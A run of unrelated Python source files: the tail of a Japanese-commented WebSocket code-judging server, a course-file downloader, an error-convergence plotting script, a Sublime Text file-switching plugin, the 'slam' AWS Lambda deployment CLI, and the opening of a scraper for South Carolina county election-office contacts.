self.check_payload(): print("[ERROR] 不正なデータであると判別されました。") self.ws.send('{"error":"無効なデータが送信されました。"}') return False # ユーザー名を復号化 iv = self.packet['iv'].decode('base64') enc_user = self.packet['user'].decode('base64') aes = AES.new(self.enckey, AES.MODE_CBC, iv) self.user = aes.decrypt(enc_user).replace('\x00', '') print("[INFO] この試行のユーザーは{0}です。".format(self.user)) # エスケープ self.user = MySQLdb.escape_string(self.user) self.packet['id'] = int(self.packet['id']) return True # # payloadが有効かを調べる # def check_payload(self): # 最低限の情報が記載されているか if 'lang' not in self.packet : return False if 'code' not in self.packet : return False if 'id' not in self.packet : return False if 'iv' not in self.packet : return False if 'user' not in self.packet : return False # 言語が使用可能か if 'compile' not in self.langlist : return False if 'extension' not in self.langlist : return False if self.packet['lang'] not in self.langlist['compile'] : return False if self.packet['lang'] not in self.langlist['extension'] : return False # データが正しい return True # # ランダムな文字列を生成 # def randstr(self, length): import random import string return ''.join([ random.choice(string.ascii_letters + string.digits) for i in range(length) ]) # # リクエストを受ける # def procon(self, env, response): path = env['PATH_INFO'] if path == "/": return self.handle(env, response) return # # サーバーを稼働させる # def run(self): # サーバー初期化 server = pywsgi.WSGIServer( (self.host, self.port), self.procon, handler_class = WebSocketHandler ) # SQLへの接続 self.db = MySQLdb.connect(host = self.db_host, db = self.db_name, user = self.db_username, passwd = self.db_password, charset = 'utf8', ) # サーバー稼働 server.serve_forever() return
""" download a file named filename from the atsc301 downloads directory and save it as a local file with the same name. command line example:: python -m a301utils.a301_readfile photon_data.csv module example:: from a301utils.a301_readfile import download download('photon_data.csv') """ import argparse import requests from pathlib import Path import sys import os import shutil def download(filename): """ copy file filename from http://clouds.eos.ubc.ca/~phil/courses/atsc301/downloads to the local directory Parameters ---------- filename: string name of file to fetch from Returns ------- Side effect: Creates a copy of that file in the local directory """ url = 'https://clouds.eos.ubc.ca/~phil/courses/atsc301/downloads/{}'.format(filename) filepath = Path('./{}'.format(filename)) if filepath.exists(): the_size = filepath.stat().st_size print(('\n{} already exists\n' 'and is {} bytes\n' 'will not overwrite\n').format(filename,the_size)) return None tempfile = str(filepath) + '_tmp' temppath = Path(tempfile) with open(tempfile, 'wb') as localfile: response = requests.get(url, stream=True) if not response.ok: print('response: ',response) raise Exception('Something is wrong, requests.get() failed with filename {}'.format(filename)) for block in response.iter_content(1024): if not block: break localfile.write(block) the_size=temppath.stat().st_size if the_size < 10.e3: print('Warning -- your file is tiny (smaller than 10 Kbyte)\nDid something go wrong?') shutil.move(tempfile,filename) the_size=filepath.stat().st_size print('downloaded {}\nsize = {}'.format(filename,the_size)) return None if __name__ == "__main__": linebreaks=argparse.RawTextHelpFormatter descrip=__doc__.lstrip() parser = argparse.ArgumentParser(formatter_class=linebreaks,description=descrip) parser.add_argument('filename',type=str,help='name of file to download') args=parser.parse_args() download(args.filename)
import matplotlib.pyplot as plt from math import sqrt from math import log dx = [1/sqrt(16), 1/sqrt(64), 1/sqrt(256), 1/sqrt(1024)] dx_tri = [1/sqrt(32), 1/sqrt(128), 1/sqrt(512), 1/sqrt(2048)] dx_pert = [0.0270466, 0.0134827, 0.00680914, 0.00367054] dx_fp = [0.122799, 0.081584, 0.0445639, 0.0225922, 0.0113763] fp_actual = 0.0441995 rl2_euler = [0.00059068, 0.000113051, 2.26156e-05, 5.11884e-06] rl2_euler_tri = [0.00101603, 0.000277795, 6.37774e-05, 1.4947e-05] rl2_euler_tri_pert = [0.00053851, 0.000121805, 2.67446e-05, 4.97857e-05] rl2_euler_tri_limited = [0.00234712, 0.000548344, 0.000139978, 3.56414e-05] rl2_euler_lp_tri_limited = [0.00242227, 0.000586065, 0.000140727] rl2_euler_limited = [0.00187271, 0.000435096, 0.000120633, 2.90233e-05] rl2_euler_lp_limited = [0.00180033, 0.000422567, 0.000120477, 2.90644e-05] rl2_ns = [0.000576472, 0.000132735, 7.0506e-05, 6.67272e-05] rl2_ns_fp = [abs(fp_actual - 0.008118), abs(fp_actual - 0.015667), abs(fp_actual - 0.026915), abs(fp_actual - 0.037524), abs(fp_actual - 0.042895)] print("rho euler l2: "+str(log(rl2_euler[2]/rl2_euler[3])/log(dx[2]/dx[3]))) print("rho euler tri l2: "+str(log(rl2_euler_tri[2]/rl2_euler_tri[3])/log(dx_tri[2]/dx_tri[3]))) print("rho euler tri perturbed l2: "+str(log(rl2_euler_tri_pert[1]/rl2_euler_tri_pert[2])/log(dx_pert[1]/dx_pert[2]))) print("rho euler tri limited l2: "+str(log(rl2_euler_tri_limited[2]/rl2_euler_tri_limited[3])/log(dx_tri[2]/dx_tri[3]))) print("rho euler lp tri limited l2: "+str(log(rl2_euler_lp_tri_limited[1]/rl2_euler_lp_tri_limited[2])/log(dx_tri[1]/dx_tri[2]))) print("rho euler limited l2: "+str(log(rl2_euler_limited[2]/rl2_euler_limited[3])/log(dx[2]/dx[3]))) print("rho euler lp limited l2: "+str(log(rl2_euler_lp_limited[2]/rl2_euler_lp_limited[3])/log(dx[2]/dx[3]))) print("rho ns l2: "+str(log(rl2_ns[0]/rl2_ns[1])/log(dx[0]/dx[1]))) print("rho ns end l2: "+str(log(rl2_ns[2]/rl2_ns[3])/log(dx[2]/dx[3]))) print("rho ns fp l2: "+str(log(rl2_ns_fp[0]/rl2_ns_fp[1])/log(dx_fp[0]/dx_fp[1]))) print("rho ns fp end l2: "+str(log(rl2_ns_fp[3]/rl2_ns_fp[4])/log(dx_fp[3]/dx_fp[4]))) plt.figure() hlines = plt.loglog(dx, rl2_euler, dx, rl2_ns, dx, rl2_euler_limited, dx, rl2_euler_lp_limited, dx_tri, rl2_euler_tri, dx_tri, rl2_euler_tri_limited, dx_pert[0:3], rl2_euler_tri_pert[0:3], dx_fp, rl2_ns_fp) plt.rc('text', usetex=True) plt.xlabel("Grid size") plt.ylabel("$L_2$ error") plt.legend(hlines, ["euler", "NS manufactured", "euler scalar limited", "euler lp limited", "euler tri", "euler tri limited", "euler tri pert", "NS flat plate"]) plt.grid(True,which="both") plt.show()
import sublime, sublime_plugin import os.path import platform def compare_file_names(x, y): if platform.system() == 'Windows' or platform.system() == 'Darwin': return x.lower() == y.lower() else: return x == y class SwitchFileCommand(sublime_plugin.WindowCommand): def run(self, extensions=[]): if not self.window.active_view(): return fname = self.window.active_view().file_name() if not fname: return path = os.path.dirname(fname) base, ext = os.path.splitext(fname) start = 0 count = len(extensions) if ext != "": ext = ext[1:] for i in range(0, len(extensions)): if compare_file_names(extensions[i], ext): start = i + 1 count -= 1 break for i in range(0, count): idx = (start + i) % len(extensions) new_path = base + '.' + extensions[idx] if os.path.exists(new_path): self.window.open_file(new_path) break
from __future__ import print_function from datetime import datetime import inspect import json import logging import os try: import pkg_resources except ImportError: # pragma: no cover pkg_resources = None import random import re import subprocess import shutil import string import sys import time import boto3 import botocore import climax from lambda_uploader.package import build_package from merry import Merry import yaml from . import plugins from .cfn import get_cfn_template from .helpers import render_template merry = Merry(logger_name='slam', debug='unittest' in sys.modules) f = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') h = logging.FileHandler('slam_error.log') h.setFormatter(f) merry.logger.addHandler(h) @merry._try @climax.group() @climax.argument('--config-file', '-c', default='slam.yaml', help='The slam configuration file. Defaults to slam.yaml.') def main(config_file): return {'config_file': config_file} @merry._except(RuntimeError, ValueError) def on_error(e): # pragma: no cover """Error handler RuntimeError or ValueError exceptions raised by commands will be handled by this function. """ exname = {'RuntimeError': 'Runtime error', 'Value Error': 'Value error'} sys.stderr.write('{}: {}\n'.format(exname[e.__class__.__name__], str(e))) sys.stderr.write('See file slam_error.log for additional details.\n') sys.exit(1) @merry._except(Exception) def on_unexpected_error(e): # pragma: no cover """Catch-all error handler Unexpected errors will be handled by this function. """ sys.stderr.write('Unexpected error: {} ({})\n'.format( str(e), e.__class__.__name__)) sys.stderr.write('See file slam_error.log for additional details.\n') sys.exit(1) def _load_config(config_file='slam.yaml'): try: with open(config_file) as f: return yaml.load(f, Loader=yaml.FullLoader) except IOError: # there is no config file in the current directory raise RuntimeError('Config file {} not found. Did you run ' '"slam init"?'.format(config_file)) @main.command() @climax.argument('--runtime', default=None, help=('The Lambda runtime to use, such as python2.7 or ' 'python3.6')) @climax.argument('--requirements', default='requirements.txt', help='The location of the project\'s requirements file.') @climax.argument('--stages', default='dev', help='Comma-separated list of stage environments to deploy.') @climax.argument('--memory', type=int, default=128, help=('The memory allocation for the lambda function in ' 'megabytes.')) @climax.argument('--timeout', type=int, default=10, help='The timeout for the lambda function in seconds.') @climax.argument('--bucket', help='S3 bucket where lambda packages are stored.') @climax.argument('--description', default='Deployed with slam.', help='Description of the API.') @climax.argument('--name', help='API name.') @climax.argument('function', help='The function or callable to deploy, in the format ' 'module:function.') def init(name, description, bucket, timeout, memory, stages, requirements, function, runtime, config_file, **kwargs): """Generate a configuration file.""" if os.path.exists(config_file): raise RuntimeError('Please delete the old version {} if you want to ' 'reconfigure your project.'.format(config_file)) module, app = function.split(':') if not name: name = module.replace('_', '-') if not re.match('^[a-zA-Z][-a-zA-Z0-9]*$', name): raise ValueError('The name {} is invalid, only letters, numbers and ' 'dashes are allowed.'.format(name)) if not bucket: random_suffix = ''.join( random.choice(string.ascii_lowercase + string.digits) for n in range(8)) bucket = '{}-{}'.format(name.lower(), random_suffix) stages = [s.strip() for s in stages.split(',')] if runtime is None: if sys.version_info[0] == 2: # pragma: no cover runtime = 'python2.7' else: runtime = 'python3.6' # generate slam.yaml template_file = os.path.join(os.path.dirname(__file__), 'templates/slam.yaml') with open(template_file) as f: template = f.read() template = render_template(template, name=name, description=description, module=module, app=app, bucket=bucket, timeout=timeout, memory=memory, requirements=requirements, stages=stages, devstage=stages[0], runtime=runtime) with open(config_file, 'wt') as f: f.write(template) # plugins config = _load_config(config_file) for name, plugin in plugins.items(): # write plugin documentation as a comment in config file with open(config_file, 'at') as f: f.write('\n\n# ' + (plugin.__doc__ or name).replace( '\n', '\n# ') + '\n') if hasattr(plugin, 'init'): arguments = {k: v for k, v in kwargs.items() if k in getattr(plugin.init, '_argnames', [])} plugin_config = plugin.init.func(config=config, **arguments) if plugin_config: with open(config_file, 'at') as f: yaml.dump({name: plugin_config}, f, default_flow_style=False) print('The configuration file for your project has been generated. ' 'Remember to add {} to source control.'.format(config_file)) def _run_command(cmd): try: proc = subprocess.Popen(cmd.split(), stdout=subprocess.PIPE, stderr=subprocess.STDOUT) out, err = proc.communicate() except OSError: raise RuntimeError('Invalid command {}'.format(cmd)) if proc.returncode != 0: print(out) raise(RuntimeError('Command failed with exit code {}.'.format( proc.returncode))) return out def _run_lambda_function(event, context, app, config): # pragma: no cover """Run the function. This is the default when no plugins (such as wsgi) define an alternative run function.""" args = event.get('args', []) kwargs = event.get('kwargs', {}) # first attempt to invoke the function passing the lambda event and context try: ret = app(*args, event=event, context=context, **kwargs) except TypeError: # try again without passing the event and context ret = app(*args, **kwargs) return ret def _generate_lambda_handler(config, output='.slam/handler.py'): """Generate a handler.py file for the lambda function start up.""" # Determine what the start up code is. The default is to just run the # function, but it can be overriden by a plugin such as wsgi for a more # elaborated way to run the function. run_function = _run_lambda_function for name, plugin in plugins.items(): if name in config and hasattr(plugin, 'run_lambda_function'): run_function = plugin.run_lambda_function run_code = ''.join(inspect.getsourcelines(run_function)[0][1:]) # generate handler.py with open(os.path.join(os.path.dirname(__file__), 'templates/handler.py.template')) as f: template = f.read() template = render_template(template, module=config['function']['module'], app=config['function']['app'], run_lambda_function=run_code, config_json=json.dumps(config, separators=(',', ':'))) with open(output, 'wt') as f: f.write(template + '\n') def _build(config, rebuild_deps=False): package = datetime.utcnow().strftime("lambda_package.%Y%m%d_%H%M%S.zip") ignore = ['\\.slam\\/venv\\/.*$', '\\.pyc$'] if os.environ.get('VIRTUAL_ENV'): # make sure the currently active virtualenv is not included in the pkg venv = os.path.relpath(os.environ['VIRTUAL_ENV'], os.getcwd()) if not venv.startswith('.'): ignore.append(venv.replace('/', '\\/') + '\\/.*$') # create .slam directory if it doesn't exist yet if not os.path.exists('.slam'): os.mkdir('.slam') _generate_lambda_handler(config) # create or update virtualenv if rebuild_deps: if os.path.exists('.slam/venv'): shutil.rmtree('.slam/venv') if not os.path.exists('.slam/venv'): _run_command('virtualenv .slam/venv') _run_command('.slam/venv/bin/pip install -r ' + config['requirements']) # build lambda package build_package('.', config['requirements'], virtualenv='.slam/venv', extra_files=['.slam/handler.py'], ignore=ignore, zipfile_name=package) # cleanup lambda uploader's temp directory if os.path.exists('.lambda_uploader_temp'): shutil.rmtree('.lambda_uploader_temp') return package def _get_aws_region(): # pragma: no cover return boto3.session.Session().region_name def _ensure_bucket_exists(s3, bucket, region): # pragma: no cover try: s3.head_bucket(Bucket=bucket) except botocore.exceptions.ClientError: if region != 'us-east-1': s3.create_bucket(Bucket=bucket, CreateBucketConfiguration={ 'LocationConstraint': region}) else: s3.create_bucket(Bucket=bucket) def _get_from_stack(stack, source, key): value = None if source + 's' not in stack: raise ValueError('Invalid stack attribute' + str(stack)) for p in stack[source + 's']: if p[source + 'Key'] == key: value = p[source + 'Value'] break return value def _print_status(config): cfn = boto3.client('cloudformation') lmb = boto3.client('lambda') try: stack = cfn.describe_stacks(StackName=config['name'])['Stacks'][0] except botocore.exceptions.ClientError: print('{} has not been deployed yet.'.format(config['name'])) else: print('{} is deployed!'.format(config['name'])) print(' Function name: {}'.format( _get_from_stack(stack, 'Output', 'FunctionArn').split(':')[-1])) print(' S3 bucket: {}'.format(config['aws']['s3_bucket'])) print(' Stages:') stages = list(config['stage_environments'].keys()) stages.sort() plugin_status = {} for name, plugin in plugins.items(): if name in config and hasattr(plugin, 'status'): statuses = plugin.status(config, stack) if statuses: for s, status in statuses.items(): plugin_status.setdefault(s, []).append(status) for s in stages: fd = None try: fd = lmb.get_function(FunctionName=_get_from_stack( stack, 'Output', 'FunctionArn'), Qualifier=s) except botocore.exceptions.ClientError: # pragma: no cover continue v = ':{}'.format(fd['Configuration']['Version']) if s in plugin_status and len(plugin_status[s]) > 0: print(' {}{}: {}'.format(s, v, ' '.join(plugin_status[s]))) else: print(' {}{}'.format(s, v)) @main.command() @climax.argument('--rebuild-deps', action='store_true', help='Reinstall all dependencies.') def build(rebuild_deps, config_file): """Build lambda package.""" config = _load_config(config_file) print("Building lambda package...") package = _build(config, rebuild_deps=rebuild_deps) print("{} has been built successfully.".format(package)) @main.command() @climax.argument('--stage', help=('Stage to deploy to. Defaults to the stage designated ' 'as the development stage')) @climax.argument('--lambda-package', help='Custom lambda zip package to deploy.') @climax.argument('--no-lambda', action='store_true', help='Do no deploy a new lambda.') @climax.argument('--rebuild-deps', action='store_true', help='Reinstall all dependencies.') def deploy(stage, lambda_package, no_lambda, rebuild_deps, config_file): """Deploy the project to the development stage.""" config = _load_config(config_file) if stage is None: stage = config['devstage'] s3 = boto3.client('s3') cfn = boto3.client('cloudformation') region = _get_aws_region() # obtain previous deployment if it exists previous_deployment = None try: previous_deployment = cfn.describe_stacks( StackName=config['name'])['Stacks'][0] except botocore.exceptions.ClientError: pass # build lambda package if required built_package = False new_package = True if lambda_package is None and not no_lambda: print("Building lambda package...") lambda_package = _build(config, rebuild_deps=rebuild_deps) built_package = True elif lambda_package is None: # preserve package from previous deployment new_package = False lambda_package = _get_from_stack(previous_deployment, 'Parameter', 'LambdaS3Key') # create S3 bucket if it doesn't exist yet bucket = config['aws']['s3_bucket'] _ensure_bucket_exists(s3, bucket, region) # upload lambda package to S3 if new_package: s3.upload_file(lambda_package, bucket, lambda_package) if built_package: # we created the package, so now that is on S3 we can delete it os.remove(lambda_package) # prepare cloudformation template template_body = get_cfn_template(config) parameters = [ {'ParameterKey': 'LambdaS3Bucket', 'ParameterValue': bucket}, {'ParameterKey': 'LambdaS3Key', 'ParameterValue': lambda_package}, ] stages = list(config['stage_environments'].keys()) stages.sort() for s in stages: param = s.title() + 'Version' if s != stage: v = _get_from_stack(previous_deployment, 'Parameter', param) \ if previous_deployment else '$LATEST' v = v or '$LATEST' else: v = '$LATEST' parameters.append({'ParameterKey': param, 'ParameterValue': v}) # run the cloudformation template if previous_deployment is None: print('Deploying {}:{}...'.format(config['name'], stage)) cfn.create_stack(StackName=config['name'], TemplateBody=template_body, Parameters=parameters, Capabilities=['CAPABILITY_IAM']) waiter = cfn.get_waiter('stack_create_complete') else: print('Updating {}:{}...'.format(config['name'], stage)) cfn.update_stack(StackName=config['name'], TemplateBody=template_body, Parameters=parameters, Capabilities=['CAPABILITY_IAM']) waiter = cfn.get_waiter('stack_update_complete') # wait for cloudformation to do its thing try: waiter.wait(StackName=config['name']) except botocore.exceptions.ClientError: # the update failed, so we remove the lambda package from S3 if built_package: s3.delete_object(Bucket=bucket, Key=lambda_package) raise else: if previous_deployment and new_package: # the update succeeded, so it is safe to delete the lambda package # used by the previous deployment old_pkg = _get_from_stack(previous_deployment, 'Parameter', 'LambdaS3Key') s3.delete_object(Bucket=bucket, Key=old_pkg) # we are done, show status info and exit _print_status(config) @main.command() @climax.argument('--version', help=('Stage name or numeric version to publish. ' 'Defaults to the development stage.')) @climax.argument('stage', help='Stage to publish to.') def publish(version, stage, config_file): """Publish a version of the project to a stage.""" config = _load_config(config_file) cfn = boto3.client('cloudformation') if version is None: version = config['devstage'] elif version not in config['stage_environments'].keys() and \ not version.isdigit(): raise ValueError('Invalid version. Use a stage name or a numeric ' 'version number.') if version == stage: raise ValueError('Cannot deploy a stage into itself.') # obtain previous deployment try: previous_deployment = cfn.describe_stacks( StackName=config['name'])['Stacks'][0] except botocore.exceptions.ClientError: raise RuntimeError('This project has not been deployed yet.') # preserve package from previous deployment bucket = _get_from_stack(previous_deployment, 'Parameter', 'LambdaS3Bucket') lambda_package = _get_from_stack(previous_deployment, 'Parameter', 'LambdaS3Key') # prepare cloudformation template template_body = get_cfn_template(config) parameters = [ {'ParameterKey': 'LambdaS3Bucket', 'ParameterValue': bucket}, {'ParameterKey': 'LambdaS3Key', 'ParameterValue': lambda_package}, ] stages = list(config['stage_environments'].keys()) stages.sort() for s in stages: param = s.title() + 'Version' if s != stage: v = _get_from_stack(previous_deployment, 'Parameter', param) \ if previous_deployment else '$LATEST' v = v or '$LATEST' else: if version.isdigit(): # explicit version number v = version else: # publish version from a stage v = _get_from_stack(previous_deployment, 'Parameter', version.title() + 'Version') if v == '$LATEST': # publish a new version from $LATEST lmb = boto3.client('lambda') v = lmb.publish_version(FunctionName=_get_from_stack( previous_deployment, 'Output', 'FunctionArn'))[ 'Version'] parameters.append({'ParameterKey': param, 'ParameterValue': v}) # run the cloudformation template print('Publishing {}:{} to {}...'.format(config['name'], version, stage)) cfn.update_stack(StackName=config['name'], TemplateBody=template_body, Parameters=parameters, Capabilities=['CAPABILITY_IAM']) waiter = cfn.get_waiter('stack_update_complete') # wait for cloudformation to do its thing try: waiter.wait(StackName=config['name']) except botocore.exceptions.ClientError: raise # we are done, show status info and exit _print_status(config) @main.command() @climax.argument('args', nargs='*', help='Input arguments for the function. Use arg=value for ' 'strings, or arg:=value for integer, booleans or JSON ' 'structures.') @climax.argument('--dry-run', action='store_true', help='Just check that the function can be invoked.') @climax.argument('--nowait', action='store_true', help='Invoke the function but don\'t wait for it to return.') @climax.argument('--stage', help='Stage of the invoked function. Defaults to ' 'the development stage') def invoke(stage, nowait, dry_run, config_file, args): """Invoke the lambda function.""" config = _load_config(config_file) if stage is None: stage = config['devstage'] cfn = boto3.client('cloudformation') lmb = boto3.client('lambda') try: stack = cfn.describe_stacks(StackName=config['name'])['Stacks'][0] except botocore.exceptions.ClientError: raise RuntimeError('This project has not been deployed yet.') function = _get_from_stack(stack, 'Output', 'FunctionArn') if dry_run: invocation_type = 'DryRun' elif nowait: invocation_type = 'Event' else: invocation_type = 'RequestResponse' # parse input arguments data = {} for arg in args: s = arg.split('=', 1) if len(s) != 2: raise ValueError('Invalid argument ' + arg) if s[0][-1] == ':': # JSON argument data[s[0][:-1]] = json.loads(s[1]) else: # string argument data[s[0]] = s[1] rv = lmb.invoke(FunctionName=function, InvocationType=invocation_type, Qualifier=stage, Payload=json.dumps({'kwargs': data}, sort_keys=True)) if rv['StatusCode'] != 200 and rv['StatusCode'] != 202: raise RuntimeError('Unexpected error. Status code = {}.'.format( rv['StatusCode'])) if invocation_type == 'RequestResponse': payload = json.loads(rv['Payload'].read().decode('utf-8')) if 'FunctionError' in rv: if 'stackTrace' in payload: print('Traceback (most recent call last):') for frame in payload['stackTrace']: print(' File "{}", line {}, in {}'.format( frame[0], frame[1], frame[2])) print(' ' + frame[3]) print('{}: {}'.format(payload['errorType'], payload['errorMessage'])) else: raise RuntimeError('Unknown error') else: print(str(payload)) @main.command() @climax.argument('--no-logs', action='store_true', help='Do not delete logs.') def delete(no_logs, config_file): """Delete the project.""" config = _load_config(config_file) s3 = boto3.client('s3') cfn = boto3.client('cloudformation') logs = boto3.client('logs') try: stack = cfn.describe_stacks(StackName=config['name'])['Stacks'][0] except botocore.exceptions.ClientError: raise RuntimeError('This project has not been deployed yet.') bucket = _get_from_stack(stack, 'Parameter', 'LambdaS3Bucket') lambda_package = _get_from_stack(stack, 'Parameter', 'LambdaS3Key') function = _get_from_stack(stack, 'Output', 'FunctionArn').split(':')[-1] api_id = _get_from_stack(stack, 'Output', 'ApiId') if api_id: log_groups = ['API-Gateway-Execution-Logs_' + api_id + '/' + stage for stage in config['stage_environments'].keys()] else: log_groups = [] log_groups.append('/aws/lambda/' + function) print('Deleting {}...'.format(config['name'])) cfn.delete_stack(StackName=config['name']) waiter = cfn.get_waiter('stack_delete_complete') waiter.wait(StackName=config['name']) if not no_logs: print('Deleting logs...') for log_group in log_groups: try: logs.delete_log_group(logGroupName=log_group) except botocore.exceptions.ClientError: print(' Log group {} could not be deleted.'.format(log_group)) print('Deleting files...') try: s3.delete_object(Bucket=bucket, Key=lambda_package) s3.delete_bucket(Bucket=bucket) except botocore.exceptions.ClientError: print(' S3 bucket {} could not be deleted.'.format(bucket)) @main.command() def status(config_file): """Show deployment status for the project.""" config = _load_config(config_file) _print_status(config) @main.command() @climax.argument('--tail', '-t', action='store_true', help='Tail the log stream') @climax.argument('--period', '-p', default='1m', help=('How far back to start, in weeks (1w), days (2d), ' 'hours (3h), minutes (4m) or seconds (5s). Default ' 'is 1m.')) @climax.argument('--stage', help=('Stage to show logs for. Defaults to the stage ' 'designated as the development stage')) def logs(stage, period, tail, config_file): """Dump logs to the console.""" config = _load_config(config_file) if stage is None: stage = config['devstage'] cfn = boto3.client('cloudformation') try: stack = cfn.describe_stacks(StackName=config['name'])['Stacks'][0] except botocore.exceptions.ClientError: print('{} has not been deployed yet.'.format(config['name'])) return function = _get_from_stack(stack, 'Output', 'FunctionArn').split(':')[-1] version = _get_from_stack(stack, 'Parameter', stage.title() + 'Version') api_id = _get_from_stack(stack, 'Output', 'ApiId') try: start = float(period[:-1]) except ValueError: raise ValueError('Invalid period ' + period) if period[-1] == 's': start = time.time() - start elif period[-1] == 'm': start = time.time() - start * 60 elif period[-1] == 'h': start = time.time() - start * 60 * 60 elif period[-1] == 'd': start = time.time() - start * 60 * 60 * 24 elif period[-1] == 'w': start = time.time() - start * 60 * 60 * 24 * 7 else: raise ValueError('Invalid period ' + period) start = int(start * 1000) logs = boto3.client('logs') lambda_log_group = '/aws/lambda/' + function log_groups = [lambda_log_group] if api_id: log_groups.append('API-Gateway-Execution-Logs_' + api_id + '/' + stage) log_version = '[' + version + ']' log_start = {g: start for g in log_groups} while True: kwargs = {} events = [] for log_group in log_groups: while True: try: filtered_logs = logs.filter_log_events( logGroupName=log_group, startTime=log_start[log_group], interleaved=True, **kwargs) except botocore.exceptions.ClientError: # the log group does not exist yet filtered_logs = {'events': []} if log_group == lambda_log_group: events += [ev for ev in filtered_logs['events'] if log_version in ev['logStreamName']] else: events += filtered_logs['events'] if len(filtered_logs['events']): log_start[log_group] = \ filtered_logs['events'][-1]['timestamp'] + 1 if 'nextToken' not in filtered_logs: break kwargs['nextToken'] = filtered_logs['nextToken'] events.sort(key=lambda ev: ev['timestamp']) for ev in events: tm = datetime.fromtimestamp(ev['timestamp'] / 1000) print(tm.strftime('%b %d %X ') + ev['message'].strip()) if not tail: break time.sleep(5) @main.command() def template(config_file): """Print the default Cloudformation deployment template.""" config = _load_config(config_file) print(get_cfn_template(config, pretty=True)) def register_plugins(): """find any installed plugins and register them.""" if pkg_resources: # pragma: no cover for ep in pkg_resources.iter_entry_points('slam_plugins'): plugin = ep.load() # add any init options to the main init command if hasattr(plugin, 'init') and hasattr(plugin.init, '_arguments'): for arg in plugin.init._arguments: init.parser.add_argument(*arg[0], **arg[1]) init._arguments += plugin.init._arguments init._argnames += plugin.init._argnames plugins[ep.name] = plugin register_plugins() # pragma: no cover
import sys import mechanize import re import json import time import urllib import dogcatcher import HTMLParser import os h = HTMLParser.HTMLParser() cdir = os.path.dirname(os.path.abspath(__file__)) + "/" tmpdir = cdir + "tmp/" voter_state = "SC" source = "State" result = [("authory_name", "first_name", "last_name", "county_name", "fips", "street", "city", "address_state", "zip_code", "po_street", "po_city", "po_state", "po_zip_code", "reg_authority_name", "reg_first", "reg_last", "reg_street", "reg_city", "reg_state", "reg_zip_code", "reg_po_street", "reg_po_city", "reg_po_state", "reg_po_zip_code", "reg_phone", "reg_fax", "reg_email", "reg_website", "reg_hours", "phone", "fax", "email", "website", "hours", "voter_state", "source", "review")] file_path = tmpdir + "south_carolina-counties.html" url = "http://www.scvotes.org/how_to_register_absentee_voting" data = urllib.urlopen(url).read() output = open(file_path,"w") output.write(data) output.close() data = open(file_path).read() data = data.partition("<a href=\"/how_to_register_absentee_voting/abbeville\" class=\"page-next\"")[0] county_link_re = re.compile("(/how_to_register_absentee_voting/.+?)\">") county_link_name_re = re.compile("/how_to_register_absentee_voting/(.+?)\">") county_links = county_link_re.findall(data) county_link_names = county_link_name_re.findall(data) county_name_re = re.compile(">([^<>]+? County) .+?<[pbr /]>") relevant_re = re.compile("(<div class=\"content.+?)<!-- end content", re.DOTALL) phone_re =re.compile(">[^x]*?(\(*\d{3}\)*[ -]*\d{3}-.+?)[<F]") phone_format_re = re.compile("(\(*\d{3}\)* *\d{3}-\d{4})") area_code_re = re.compile("\(\d{3}\) ") digit_re = re.compile("\d") fax_re = re.compile("Fax.+?(\(*\d{3}\)*.+?)<") official_name_1_re = re.compile("Director[</u>]* *[:-] *([A-Za-z\. -]+).+?<") official_name_2_re = re.compile("<[br /p]*>([A-Za-z\. -]+?)<[^<>]*><[^<>]*>[Email: ]*<a href=\"mailto:") official_name_3_re = re.compile("<[br /p]*>([A-Za-z\. -]+?)<[^<>]*><[^<>]*><[^<>]*><a href=\"mailto:") official_name_4_re = re.compile("<[br /p]*>([A-Za-z\. -]+?)<[^<>]*><[^<>]*><[^<>]*><a href=\"/files") official_name_5_re = re.compile(">([A-Za-z\. -]+?), [^<>]*?Director") official_name_6_re = re.compile("Fax .+?<[^<>]*><[^<>]*>([A-Za-z\. -]+?)<") website_re = re.compile("a href=\"(h.+?)\"") email_re = re.compile("[A-Za-z\.-]+?@[A-Za-z\.-]+") email_junk_re = re.compile("@[^<>]+?\.[cg]o[mv](.*?)<") font_re = re.compile("</*font.+?>") style_re = re.compile("(style.+?\")>") span_re = re.compile("</*span.+?>") w_re = re.compile("</*w:.+?>") u_re = re.compile("</*u>") m_re = re.compile("</*m:.+?>") set_re = re.compile("{.+?}") comment_re = re.compile("<!--.+?>") charleston_re = re.compile(" [A-Z][A-Z](.+?)\d{5}[\d-]*") richland_fix_re = re.compile("Military and Overseas Correspondence.+?</a>") address_re = re.compile("<[br p/]*>([^<>]*\d[^>]+?<.+?\d{5}[\d-]*) *<[brp/ ]*>") csz_re = re.compile("[\d>] *([A-Za-z \.]+?,* [A-Z][A-Z] +\d{5}[\d-]*)") po_re = re.compile("(P*o*s*t* *Of*i*c*e* .+?)<") city_re = re.compile("(.+?),* [A-Z][A-Z] ") state_re = re.compile(" ([A-Z][A-Z]) ") zip_re = re.compile("\d{5}[\d-]*") zip_mod_re = re.compile("\(\d{5}[\d-]*\)") mailing_region_re = re.compile("Mailing Address.+?[A-Z][A-Z] \d{5}[\d-]* *<[brp/ ]*>") for link in county_links: authority_name, first_name, last_name, county_name, town_name, fips, street, city, address_state, zip_code, po_street, po_city, po_state, po_zip_code, reg_authority_name, reg_first, reg_last, reg_street, reg_city, reg_state, reg_zip_code, reg_po_street, reg_po_city, reg_po_state, reg_po_zip_code, reg_phone, reg_fax, reg_email, reg_website, reg_hours, phone, fax, email, website, hours, review = dogcatcher.begin(voter_state) link_name = county_link_names[county_links.index(link)] file_name = tmpdir + link_name + "-sc-clerks.html" url = "http://www.scvotes.org" + link data = urllib.urlopen(url).read() output = open(file_name,"w") output.write(data) output.close() county = open(file_name).read() #Trimming the county. county = relevant_re.findall(county)[0] #There are a tremendous number of useless HTML tags or county-specific fixes. This code cleans them up so we don't have to deal with them elsewhere. for junk in email_junk_re.findall(county): county = county.replace(junk,"") for font in font_re.findall(county): county = county.replace(font,"") for style in style_re.findall(county): county = county.replace(style,"") for span in span_re.findall(county): county = county.replace(span,"") for w in w_re.findall(county): county = county.replace(w,"") for u in u_re.findall(county): county = county.replace(u,"") for m in m_re.findall(county): county = county.replace(m,"") for comment in comment_re.findall(county): county = county.replace(comment,"") for s in set_re.findall(county): county = county.replace(s,"") for item in charleston_re.findall(county): county = county.replace(item," ") for item in richland_fix_re.findall(county): county = county.replace(item," ") #fixing errors in Dillon, Florence, and Newberry Counties county = county.replace("sedwardsvr17","<a href=\"mailto:sedwardsvr17@aol.com\"").replace("%3",":").replace("%40","@").replace("brogers","<a href=\"mailto:brogers@newberrycounty.net\"") county_name = county_name_re.findall(county)[0].replace(" County","").strip() print "__________________________________" #unique case in Aiken 